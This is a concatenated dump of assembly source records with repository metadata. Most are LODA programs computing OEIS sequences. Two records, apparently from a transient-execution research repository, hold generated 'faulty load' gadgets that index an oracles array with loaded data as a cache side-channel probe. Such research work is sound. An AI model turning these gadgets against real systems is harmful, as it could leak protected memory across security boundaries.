2022-03-21T01:12:22.000Z

.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x15b93, %r14 nop add $13958, %rsi movb $0x61, (%r14) nop nop nop add $18705, %r9 lea addresses_WT_ht+0x1c9cb, %rsi lea addresses_D_ht+0x1a42d, %rdi sub %rbx, %rbx mov $66, %rcx rep movsb inc %r10 lea addresses_WC_ht+0x59cb, %rsi lea addresses_D_ht+0x7d2b, %rdi nop nop nop nop nop cmp %rdx, %rdx mov $33, %rcx rep movsl nop and %r14, %r14 lea addresses_A_ht+0x7dcb, %rsi nop nop nop nop nop sub $32513, %r9 movw $0x6162, (%rsi) cmp $24289, %rdx lea addresses_WC_ht+0xf3cb, %rcx add $42084, %r9 movb (%rcx), %r10b nop nop add %r9, %r9 lea addresses_D_ht+0xbdcd, %r14 add $5111, %rbx movb $0x61, (%r14) nop nop inc %r10 lea addresses_WT_ht+0x1044b, %rsi lea addresses_WT_ht+0xb7cf, %rdi nop xor %rdx, %rdx mov $112, %rcx rep movsw nop nop nop nop nop sub %r10, %r10 lea addresses_normal_ht+0x151b, %rbx nop nop nop nop nop inc %rcx mov $0x6162636465666768, %rdi movq %rdi, (%rbx) nop nop nop nop xor %rsi, %rsi lea addresses_D_ht+0xcdcb, %rsi nop inc %rdi movb (%rsi), %r10b sub %rdi, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r8 push %rax push %rbp push %rbx push %rdx // Faulty Load lea addresses_US+0xe5cb, %rax nop nop dec %rbp mov (%rax), %r12 lea oracles, %rbp and $0xff, %r12 shlq $12, %r12 mov (%rbp,%r12,1), %r12 pop %rdx pop %rbx pop %rbp pop %rax pop %r8 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_US', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'00': 35} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */

21.648276

148

0.648296

94aafbf70474f5d210eb743b145f262044d1641b

389

asm

Assembly

programs/oeis/113/A113010.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/113/A113010.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/113/A113010.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A113010: {Number of digits of n} raised to the power of {the sum of the digits of n}. ; 1,1,1,1,1,1,1,1,1,1,2,4,8,16,32,64,128,256,512,1024,4,8,16,32,64,128,256,512,1024,2048,8,16,32,64,128,256,512,1024,2048,4096,16,32,64,128,256,512,1024,2048,4096,8192,32,64,128,256,512,1024,2048,4096,8192 sub $0,9 lpb $0 sub $0,1 dif $0,10 add $1,9 mul $1,2 lpe div $1,18 add $1,1 mov $0,$1

27.785714

205

0.658098

21a023b6adb3698c8500473e86a1edf183357421

479

asm

Assembly

oeis/182/A182027.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/182/A182027.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/182/A182027.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A182027: a(n) = number of n-lettered words in the alphabet {1, 2} with as many occurrences of the substring (consecutive subword) [1, 1] as of [2, 2]. ; 1,2,2,2,4,6,12,20,40,70,140,252,504,924,1848,3432,6864,12870,25740,48620,97240,184756,369512,705432,1410864,2704156,5408312,10400600,20801200,40116600,80233200,155117520,310235040,601080390,1202160780,2333606220,4667212440,9075135300,18150270600,35345263800 sub $0,2 mov $2,$0 div $2,2 bin $0,$2 mul $0,2 trn $0,1 add $0,1

43.545455

259

0.751566

fdc9ec7cf516e429cbabd412788770773d12eb42

693

asm

Assembly

oeis/060/A060446.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/060/A060446.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/060/A060446.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A060446: Number of ways to color vertices of a pentagon using <= n colors, allowing rotations and reflections. ; 0,1,8,39,136,377,888,1855,3536,6273,10504,16775,25752,38233,55160,77631,106912,144449,191880,251047,324008,413049,520696,649727,803184,984385,1196936,1444743,1732024,2063321,2443512,2877823,3371840,3931521,4563208,5273639,6069960,6959737,7950968,9052095,10272016,11620097,13106184,14740615,16534232,18498393,20644984,22986431,25535712,28306369,31312520,34568871,38090728,41894009,45995256,50411647,55161008,60261825,65733256,71595143,77868024,84573145,91732472,99368703,107505280,116166401,125377032 mov $1,$0 pow $1,2 mov $2,$1 add $1,2 pow $1,2 add $1,$2 mul $0,$1 div $0,10

57.75

501

0.810967

0485f47002442dfbd7bb6b0c8625fe8a68f81cf7

1,565

asm

Assembly

programs/oeis/298/A298791.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

null

programs/oeis/298/A298791.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

null

programs/oeis/298/A298791.asm

karttu/loda

9c3b0fc57b810302220c044a9d17db733c76a598

[ "Apache-2.0" ]

null

; A298791: Partial sums of A298789. ; 1,5,12,22,37,55,75,101,130,160,197,237,277,325,376,426,485,547,607,677,750,820,901,985,1065,1157,1252,1342,1445,1551,1651,1765,1882,1992,2117,2245,2365,2501,2640,2770,2917,3067,3207,3365,3526,3676,3845,4017,4177,4357,4540,4710,4901,5095,5275,5477,5682,5872,6085,6301,6501,6725,6952,7162,7397,7635,7855,8101,8350,8580,8837,9097,9337,9605,9876,10126,10405,10687,10947,11237,11530,11800,12101,12405,12685,12997,13312,13602,13925,14251,14551,14885,15222,15532,15877,16225,16545,16901,17260,17590,17957,18327,18667,19045,19426,19776,20165,20557,20917,21317,21720,22090,22501,22915,23295,23717,24142,24532,24965,25401,25801,26245,26692,27102,27557,28015,28435,28901,29370,29800,30277,30757,31197,31685,32176,32626,33125,33627,34087,34597,35110,35580,36101,36625,37105,37637,38172,38662,39205,39751,40251,40805,41362,41872,42437,43005,43525,44101,44680,45210,45797,46387,46927,47525,48126,48676,49285,49897,50457,51077,51700,52270,52901,53535,54115,54757,55402,55992,56645,57301,57901,58565,59232,59842,60517,61195,61815,62501,63190,63820,64517,65217,65857,66565,67276,67926,68645,69367,70027,70757,71490,72160,72901,73645,74325,75077,75832,76522,77285,78051,78751,79525,80302,81012,81797,82585,83305,84101,84900,85630,86437,87247,87987,88805,89626,90376,91205,92037,92797,93637,94480,95250,96101,96955,97735,98597,99462,100252,101125,102001,102801,103685,104572,105382,106277,107175,107995,108901,109810,110640 mov $2,$0 mul $0,2 lpb $0,1 add $1,$0 add $1,$2 add $1,$0 sub $0,2 trn $0,1 sub $1,1 sub $2,1 lpe add $1,1

97.8125

1,406

0.792332

9a42cf8df85ee7e55c1baa4e6d854ef4546174bb

2,823

asm

Assembly

Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_1_664.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

9

2020-08-13T19:41:58.000Z

2022-03-30T12:22:51.000Z

Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_1_664.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

1

2021-04-29T06:29:35.000Z

2021-05-13T21:02:30.000Z

Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_1_664.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

3

2020-07-14T17:07:07.000Z

2022-03-21T01:12:22.000Z

.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xba2a, %rsi lea addresses_UC_ht+0x5aba, %rdi nop nop nop nop sub %r8, %r8 mov $41, %rcx rep movsb nop and $33471, %rdx lea addresses_WT_ht+0x1253a, %r14 clflush (%r14) and %r15, %r15 mov $0x6162636465666768, %rdi movq %rdi, %xmm3 movups %xmm3, (%r14) nop nop sub $15232, %r14 lea addresses_D_ht+0x8b7a, %r15 nop nop nop nop xor %r14, %r14 mov $0x6162636465666768, %rsi movq %rsi, %xmm0 vmovups %ymm0, (%r15) nop nop nop nop nop add $23937, %rdx lea addresses_normal_ht+0x19aba, %rsi lea addresses_UC_ht+0xe13a, %rdi clflush (%rsi) nop nop xor %r14, %r14 mov $103, %rcx rep movsl nop nop nop and %r14, %r14 lea addresses_WT_ht+0xdf43, %r14 nop nop nop nop sub %rdx, %rdx vmovups (%r14), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %r15 nop nop nop nop nop and %r14, %r14 pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r8 push %rax push %rbp push %rcx push %rsi // Store lea addresses_WC+0x28ba, %r10 nop nop cmp $31116, %r11 movl $0x51525354, (%r10) nop nop nop add %rbp, %rbp // Store lea addresses_A+0x130a, %rax nop cmp $27011, %r8 mov $0x5152535455565758, %rbp movq %rbp, %xmm5 movups %xmm5, (%rax) sub %rcx, %rcx // Faulty Load lea addresses_US+0x4aba, %rcx nop sub $25447, %rsi mov (%rcx), %eax lea oracles, %rbp and $0xff, %rax shlq $12, %rax mov (%rbp,%rax,1), %rax pop %rsi pop %rcx pop %rbp pop %rax pop %r8 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}} [Faulty Load] {'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 4}} {'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'00': 1} 00 */

19.335616

153

0.652497

0c9782a392f07f35851a1abd0f83b8e6e276966c

1,033

asm

Assembly

programs/oeis/064/A064170.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/064/A064170.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/064/A064170.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A064170: a(1) = 1; a(n+1) = product of numerator and denominator in Sum_{k=1..n} 1/a(k). ; 1,1,2,10,65,442,3026,20737,142130,974170,6677057,45765226,313679522,2149991425,14736260450,101003831722,692290561601,4745030099482,32522920134770,222915410843905,1527884955772562,10472279279564026,71778070001175617,491974210728665290,3372041405099481410,23112315624967704577,158414167969674450626,1085786860162753449802,7442093853169599697985,51008870112024444436090,349619996931001511354642,2396331108404986135046401,16424697761903901433970162,112576553224922323902744730,771611174812552365885242945,5288701670462944237293955882,36249300518428057295172448226,248456401958533456828913181697,1702945513191306140507219823650,11672162190380609526721625583850,80002189819472960546544159263297,548343166545930114299087489259226,3758399976002037839547068265551282,25760456665468334762530390369599745,176564796682276305498165664321646930 trn $0,1 seq $0,5248 ; Bisection of Lucas numbers: a(n) = L(2*n) = A000032(2*n). pow $0,2 div $0,5 add $0,1

114.777778

832

0.878993

521eb7c7db1c7dcbd81f9e4475514d7274b9fe88

424

asm

Assembly

programs/oeis/104/A104406.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/104/A104406.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/104/A104406.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A104406: Number of numbers <= n having no 2 in ternary representation. ; 1,1,2,3,3,3,3,3,4,5,5,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,8,9,9,10,11,11,11,11,11,12,13,13,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15 add $0,1 lpb $0 mov $2,$0 sub $0,1 seq $2,39966 ; a(0) = 1; thereafter a(3n+2) = 0, a(3n) = a(3n+1) = a(n). add $1,$2 lpe mov $0,$1

35.333333

209

0.59434